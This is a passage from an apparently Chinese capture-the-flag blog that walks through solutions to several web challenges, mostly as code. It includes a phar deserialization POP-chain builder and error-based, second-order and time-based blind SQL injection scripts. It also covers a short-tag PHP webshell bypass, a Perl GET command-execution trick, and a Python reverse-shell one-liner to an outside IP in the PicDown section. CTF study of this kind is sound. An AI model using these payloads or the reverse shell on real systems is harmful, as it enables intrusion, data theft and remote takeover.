$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

一共五个文件,审计起来还是有点费劲的,但是我们的重心放在class.php里,可以看到File类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}

这里面有太多可以触发phar反序列化的函数了:
image.png
所以大致的思路肯定是利用phar反序列化,那接下来就分析怎么触发pop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//User类
public function __destruct() {
$this->db->close();
}
//Filelist类
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
//File类
public function close() {
return file_get_contents($this->filename);
}

我把三个类中重要的部分列出来了,首先是User类里有个destruct析构函数,会去调用db里的close方法,然后FIlelist有个call魔术方法,作用是将 $file->$func();的结果保存到result里,FIle类里又有close方法
那pop链就清晰了:__destruct(User)->__call(Filelist)->close(File),最后通过Filelist类里的析构函数输出结果
但是还需要注意一些细节:
dowload.php和delete.php都实例化了File类,并且可以触发phar反序列化,但download.php中设置了open_basedir访问权限设置,不让我们读取根目录下:
image.png
而且根据经验,不让我们读取根目录,filename里又不能有flag,那flag文件就应该是/flag或者/flag.txt之类的
download.php无法去利用,那就利用delete.php:
image.png
这里是没设置open_basedir的,所以就利用这个,那就开始生成phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class User {
public $db;
public function __construct() {
$this->db = new FileList();
}
}

class File {
public $filename="/flag.txt";
}

class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file=new File();
$this->files = array($file);
$this->results = array();
$this->funcs = array();

}

}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

应该不难看懂,就是用delete.php去触发phar,phar里利用File类里的close去读取flag.txt
最终上传phar文件改后缀名为png,然后点删除抓包,改文件名字:
image.png
就可以看到flag了

[RCTF2015]EasySQL

考点:FUZZ,报错注入,字符串逆序
手测fuzz后发现ban了and,sleep,,空格,没有ban掉or和extractvalue 那就是报错注入了: 1”or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e)))#![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1667025463833-d222da03-7005-4f83-8cb3-ce35efd0f0f6.png#averageHue=%23f6f5f4&clientId=u035787b4-56ba-4&from=paste&height=158&id=u5f18ef7c&name=image.png&originHeight=197&originWidth=463&originalType=binary&ratio=1&rotation=0&showTitle=false&size=6844&status=done&style=none&taskId=u2b13bb20-5a99-4ec3-9309-1f6b076c31b&title=&width=370.4) 然后再去爆字段:1”or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)=’flag’),0x7e)))#![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1667025536987-5b15742c-4a2f-4eb0-a039-a136fb1af293.png#averageHue=%23fafaf9&clientId=u035787b4-56ba-4&from=paste&height=215&id=u99617c77&name=image.png&originHeight=269&originWidth=559&originalType=binary&ratio=1&rotation=0&showTitle=false&size=7416&status=done&style=none&taskId=u78786f2f-0dc6-4c04-9fbc-406278a08a6&title=&width=447.2) 最后得到flag:1”or(extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e)))#: ![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1667025610989-fd124940-d304-4fad-95a4-628b316ebbd4.png#averageHue=%23fafaf9&clientId=u035787b4-56ba-4&from=paste&height=190&id=u0d575c09&name=image.png&originHeight=238&originWidth=742&originalType=binary&ratio=1&rotation=0&showTitle=false&size=8922&status=done&style=none&taskId=ub0ed6f3f-92ee-4e4e-bf25-25b8195129b&title=&width=593.6) 草! 在user表里: ![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1667025676309-112ea022-3548-4afc-bae1-afc484d5b1e5.png#averageHue=%23faf9f9&clientId=u035787b4-56ba-4&from=paste&height=95&id=ued5e7e11&name=image.png&originHeight=119&originWidth=754&originalType=binary&ratio=1&rotation=0&showTitle=false&size=5134&status=done&style=none&taskId=uc1622355-d3f0-4113-a1c6-07a46b29833&title=&width=603.2) 这边上面的图有长度限制,但是right,left,mid都给ban了,我们用正则 1”or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp’^flag’),0x7e)))#: ![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1667027590219-c94f878a-561d-44e7-88fc-ab19e959dced.png#averageHue=%23faf9f8&clientId=uc7736ba4-0486-4&from=paste&height=165&id=u43943023&name=image.png&originHeight=206&originWidth=617&originalType=binary&ratio=1&rotation=0&showTitle=false&size=7918&status=done&style=none&taskId=u65e9fcea-371e-4cd7-b12e-ee87a29c42e&title=&width=493.6) 最后: 1”or(extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp’^flag’)),0x7e)))# ![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1667027426865-a6398152-e3d0-429c-a329-cae377f92fbb.png#averageHue=%23faf9f8&clientId=uc7736ba4-0486-4&from=paste&height=169&id=u4ea2af0a&name=image.png&originHeight=211&originWidth=788&originalType=binary&ratio=1&rotation=0&showTitle=false&size=10385&status=done&style=none&taskId=ue69a98e6-5e50-43ae-bc19-243cbb0c998&title=&width=630.4) ![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1667027595952-9a45aced-2b14-49b4-89bb-7f9b92e365db.png#averageHue=%23fefefe&clientId=uc7736ba4-0486-4&from=paste&height=343&id=u9d442441&name=image.png&originHeight=429&originWidth=670&originalType=binary&ratio=1&rotation=0&showTitle=false&size=16286&status=done&style=none&taskId=u569abe0e-02ed-4c19-9cc4-310bd5e19bd&title=&width=536) 所以flag:flag{6a71f0e9-fe71-4fdb-8211-c34410558b83}`

[WUSTCTF2020]CV Maker

考点:文件上传
我无语了,这题逼格看起来很高,实际上就是一坨屎
image.png
注册界面,什么都没有
先注册一个账号,然后登入看看:
image.png
可以上传头像,一开始上传个图片,给我弹出上传不了,我还以为是什么高级文件上传
image.png
会给你修改文件名,上传png木马后不能上传htaccess或者是.user.ini文件,就卡在这里的时候,我试了一下既然是文件头验证,那php后缀名可不可以,不试不知道,一试吓一跳:
image.png
直接rce,无语了,逼格瞬间拉低

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

考点:SQL注入二次注入,代码审计
这题有毒,真的
image.png
一个购买界面,里面有提交订单,修改订单,删除订单,查询订单四个功能,查看源代码:
image.png
会在最底下发现一个参数file,经过测试发现可以读取源码,用filter协议base64编码再读出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>确认订单</title>
<base href="./">
<meta charset="utf-8"/>

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<img class="logo" src="./assets/img/logo-zh.png">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
<a href="./index.php">
<button class='btn btn-lg btn-sub btn-white'>返回</button>
</a>
</div>
</div>
</div>
</div>

<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订单管理</h2>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

简单的审计之后发现这4个文件对应四个功能,提交,删除,更改,查询
可以看到confirm.php中有include危险函数,但是并没什么卵用,因为设置了open_basedir选项,只允许我们在当前页面动手脚,然后这也是很重要的一个点
根据经验之谈,我们可以猜测flag为/flag或者是/flag.txt,要不然就没解了

然后可以看到查询,删除,提交界面里都有sql查询语句,但是都对phone和username参数进行了强烈的过滤:
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
但是我们提交订单是有3个参数的,还有个address,审计后发现address在change.php有被利用:
image.png
这里是不是存在一个update注入呢?我们只需在提交订单的时候让address为',user_name=extractvalue(1,concat(0x7e,database()))#,然后再修改地址就能触发?,仔细想想是不是呢?说干就干:
image.png
芜湖~然后就以这个思路就可以进行我们的报错注入了,接下来我写个脚本,锻炼一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
import requests
#Author:@Boogipop
url="http://f654c362-3a5d-4d5b-b145-4013c08a3314.node4.buuoj.cn:81/"
name="1"
phone="1"
joke="1"
def put_order(name,phone,address):
data={
"user_name":name,
"phone":phone,
"address":address
}
r=requests.post(url=url+"confirm.php",data=data)
if "订单提交成功" in r.text:
return True
else:
delete_order(name,phone)
def delete_order(name,phone):
data={
"user_name": name,
"phone": phone,
}
r=requests.post(url=url+"delete.php",data=data)
if "订单删除成功" in r.text:
return True
else:
return "qwq"

def change_order(name,phone,address):
data={
"user_name": name,
"phone": phone,
"address":joke
}
r=requests.post(url=url+"change.php",data=data)
if "errorXPATH" in r.text:
res=r.text
res=res.split('~')[1]
return res
else:
return "None"

def get_database_name():
start=1
step=30
result=""
while True:
address="',user_name=extractvalue(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),{},{}),0x7e))#".format(start,step)
if put_order(name,phone,address):
res = change_order(name, phone, joke)
res = "" if res == "None" else res
result += res
start += step
delete_order(name,phone)
if len(res)!=30:
return result.split(',')
def get_table_name(database):
start = 1
step = 30
result = ""
while True:
address = "',user_name=extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='{}'),{},{}),0x7e))#".format(database,
start, step)
if put_order(name, phone, address):
res = change_order(name, phone, joke)
res = "" if res == "None" else res
result += res
start += step
delete_order(name, phone)
if len(res) != 30:
return result.split(',')
def get_column_name(table):
start = 1
step = 30
result = ""
while True:
address = "',user_name=extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='{}'),{},{}),0x7e))#".format(
table,
start, step)
if put_order(name, phone, address):
res = change_order(name, phone, joke)
res = "" if res == "None" else res
result += res
start += step
delete_order(name, phone)
if len(res) != 30:
return result.split(',')
def get_result(database,table,column):
start = 1
step = 30
result = ""
while True:
address = "',user_name=extractvalue(1,concat(0x7e,substr((select group_concat({}) from {}),{},{}),0x7e))#".format(column,
database + '.' +
table,
start, step)
if put_order(name, phone, address):
res=change_order(name, phone, joke)
res="" if res=="None" else res
result += res
start += step
delete_order(name, phone)
if len(res) != 30:
return result.split(',')
def read_file(filename):
start = 1
step = 30
result = ""
while True:
address = "',user_name=extractvalue(1,concat(0x7e,substr((select load_file('{}')),{},{}),0x7e))#".format(
filename,
start, step)
if put_order(name, phone, address):
res = change_order(name, phone, joke)
res = "" if res == "None" else res
result += res
start += step
delete_order(name, phone)
if len(res) != 30:
return result.split(',')
if __name__=='__main__':
print(get_database_name())#获得数据库的名字
#['information_schema', 'ctftraining', 'mysql', 'performance_schema', 'test']
print(get_table_name('ctftraining'))#获得表名
table=get_table_name('ctftraining')
#['FLAG_TABLE', 'news', 'users']
# database='ctftraining'
# for i in table: #获得所得到的表中字段的所有数据
# column=get_column_name(i)
# print("ctftraining.{}:{}".format(i,column))
# for j in column:
# result=get_result(database,i,j)
# print(database+"."+i+"."+j+":{}".format(result))
print(read_file('/flag.txt'))



image.png
优雅~

[网鼎杯 2020 白虎组]PicDown

考点:任意文件读取
一开始我还以为是ssrf,因为的确有点像
image.png
一个输入框,输入一个http://www.baidu.com或者/etc/passwd都会得到一个图片文件,用010打开发现是源代码:
image.png
所以存在任意文件读取

1
2
3
4
5
6
7
8
9
在linux中,proc是一个虚拟文件系统,也是一个控制中心,里面储存是当前内核运行状态的一系列特殊文件;该系统只存在内存当中,以文件系统的方式为访问系统内核数据的操作提供接口,可以通过更改其中的某些文件来改变内核运行状态。它也是内核提供给我们的查询中心,用户可以通过它查看系统硬件及当前运行的进程信息。
/proc/pid/cmdline 包含了用于开始进程的命令 ;
/proc/pid/cwd 包含了当前进程工作目录的一个链接 ;
/proc/pid/environ 包含了可用进程环境变量的列表 ;
/proc/pid/exe 包含了正在进程中运行的程序链接;
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
/proc/pid/mem 包含了进程在内存中的内容;
/proc/pid/stat 包含了进程的状态信息;
/proc/pid/statm 包含了进程的内存使用信息。

先读取一下当前的进程/proc/self/cmdline,self就代表自己
image.png
可以看到是一个app,py文件,是python的一个flask框架(猜测)
读取一下源代码?url=app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

代码不长,很好审计,可以看到有个secret_file,先打开了,然后又删除掉了,但是没有关闭文件流,也就是没有close,所以我们可以通过/proc/self/pd去查看进程打开的文件的信息,可以看到残留的信息:
经过测试是在/proc/self/pd/3里有信息:
image.png
得到了key,就去/no_one_know_the_manager去执行命令,但是要看到这里是没有回显的,所以要用反弹shell,经过测试发现nc和exec其他啥的都不可以,用python的
/no_one_know_the_manager?key=XvWSLF/yiD2nZP2av5Mjy02iDtgnOf88pGsDxAQtJzY=&shell=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('43.140.251.169',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
image.png
成功得到flag,总而言之这道题感觉还是不错的,学到了有关proc的一些知识

[CISCN2019 总决赛 Day2 Web1]Easyweb

考点:SQL注入,文件上传,源码泄露
image.png
一个登录界面,访问robots.txt,发现:
image.png
image.png
说明有源码泄露,测试一遍发现,只泄露了image.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

审计后发现这里存在SQL注入,假如id输入\\0,经过addslashes函数处理:
image.png
变成\\\\0,再经过替换就变成了\\\,这里别搞混了,这里最后变成了\\,第一个没有转义效果,第二个有:image.png
,其实我们也可以直接用\0
image.png
直接就变成了单引号,我铸币了!
这里经过测试没有回显,用盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#AUthor:@Boogipop
import requests
import time
url='http://fcf7e1fe-3937-4402-9be7-06d89f43e0c5.node4.buuoj.cn:81/image.php'
result=''
i=0
while True:
head=1
tail=255
i+=1
while head<tail:
mid=(head+tail)//2
data={
"id":"\\\\0",
"path":f"or if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},sleep(0.4),2)-- -"
}
# print(data['path'])
t1=time.time()
r=requests.get(url,params=data)
t2=time.time()
print(t2-t1)
if t2-t1>1.3:
head=mid+1
else:
tail=mid
if head!=1:
result+=chr(head)
print(result)
else:
break
#or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(0.3),2)-- -
#images,users
#or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{i},1))>{mid},sleep(0.3),2)-- -
#username,password
#admind0ccc9ed4289081ca5

得到了用户名密码,就登陆:
image.png
有一个文件上传,不能上传php后缀名,上传.png发现:
image.png
访问这个路径:
image.png

这是一个php文件,输出了我们上传的日志,其实这里file后面跟了文件名的,只不过我做题的时候用了短标签,就显示不出来了
image.png
正常大概就这样,这里我们虽然不知道我们上传的文件保存路径,但是这边已经有个php文件,我们可以再文件名写入恶意代码,让php解析:
image.png
名字里不能有PHP,被ban了,所以用短标签,之后就RCE:
image.png
image.png
马马虎虎

[HITCON 2017]SSRFme

考点 : perl脚本GET open命令漏洞,说实话和SSRF有个鸟关系
GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理
open存在命令执行,并且还支持file函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

审计一番发现没什么,escapeshellarg应该都知道咋用的,目的就是不让你能执行多条shell命令

file 协议利用 open 命令执行
perl的feature,在open下可以执行命令,前提是文件事先存在:

1
2
3
4
5
[root@izwz962asjj9zbi0ahwa55z test]# perl a.pl
[root@izwz962asjj9zbi0ahwa55z test]# uid=0(root) gid=0(root) groups=0(root)
cat a.pl
open(FD, "|id");
print <FD>;

下面我们来看看使用GET如何来执行系统命令。(具体啥原因就不讲了,俺也不知道,大概就是open函数支持file协议吧 ) 要执行的命令先前必须要有以命令为文件名的文件存在
我们执行以下命令:

1
2
touch 'ls|'
GET "file:ls|"

但是为什么没有按照预期执行呢? 我们去看看file.pm模块。

1
2
cd /usr/share/perl5/LWP/Protocol
cat file.pm

可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# read the file
if ($method ne "HEAD") {
open(my $fh,'<', $path) or return new ##就是这里出了问题
HTTP::Response(HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
binmode($fh);
$response = $self->collect($arg, $response, sub {
my $content = "";
my $bytes = sysread($fh, $content, $size);
return \$content if $bytes > 0;
return \ "";
});
close($fh);
}

$response;
}

我们可以看到,它在打开文件时加了个<符号。这也正是我们修复这个漏洞的办法,现在我们要复现就先将她删掉吧。那一行改成open(my $fh, $path) or return new 。再来按照刚刚的思路就可以运行了。good,也算是解决了一个难题了。Kali环境是个好东西,哈哈。

解题步骤:
第一次使用?url=file:ls /|&filename=ls /| 第一次是为了创建ls /| ,ls/|并不是一个文件,而是一个目录,是ls目录下有|文件,这个要理清一下:
下面的结果分别是:pathinfo($_GET["filename"]);basename($info["dirname"]basename($info["basename"]的值
image.png
在自己的vps上也测试了一下:
image.png
第二次使用?url=file:ls /|&filename=123,是为了执行命令,并且将结果写入123文件:
image.png
image.png
image.png
image.png
成功看到了根目录下的命令,发现flag没有权限读取,那肯定就是去运行readflag文件了:
先运行?url=file:bash -c /readflag|&filename=bash -c /readflag|
再运?url=file:bash -c /readflag|&filename=123
image.png

听说还有个perl反弹shell,但是我这边buu上用不了:

[红明谷CTF 2021]write_shell

考点:PHP短标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

挺简单的题,没啥大道理,一个waf一个pwd读目录,一个upload写文件
直接上payload了:
image.png
用短标签去绕过:
image.png

考点:Cookie伪造
一个买cookie的界面;
image.png并且可以看到我们有一个session:
image.png
解密一下发现:
image.png
照猫画狗伪造一个:
image.png
image.png
买COOKIE:
image.png

[HFCTF2020]EasyLogin

考点:JWT伪造
image.png
是一个登录界面,注册一个账号,尝试了注册admin,但是不让注册了,所以存在admin这个用户,我们注册个正常用户登录,登录的时候抓个包:
image.png
其中的authorization就是JWT了,可以清晰的看到有3个点
对于jwt的知识可以看:

看大佬说是要读取controllers/api.js文件,就可以看到主要的逻辑代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

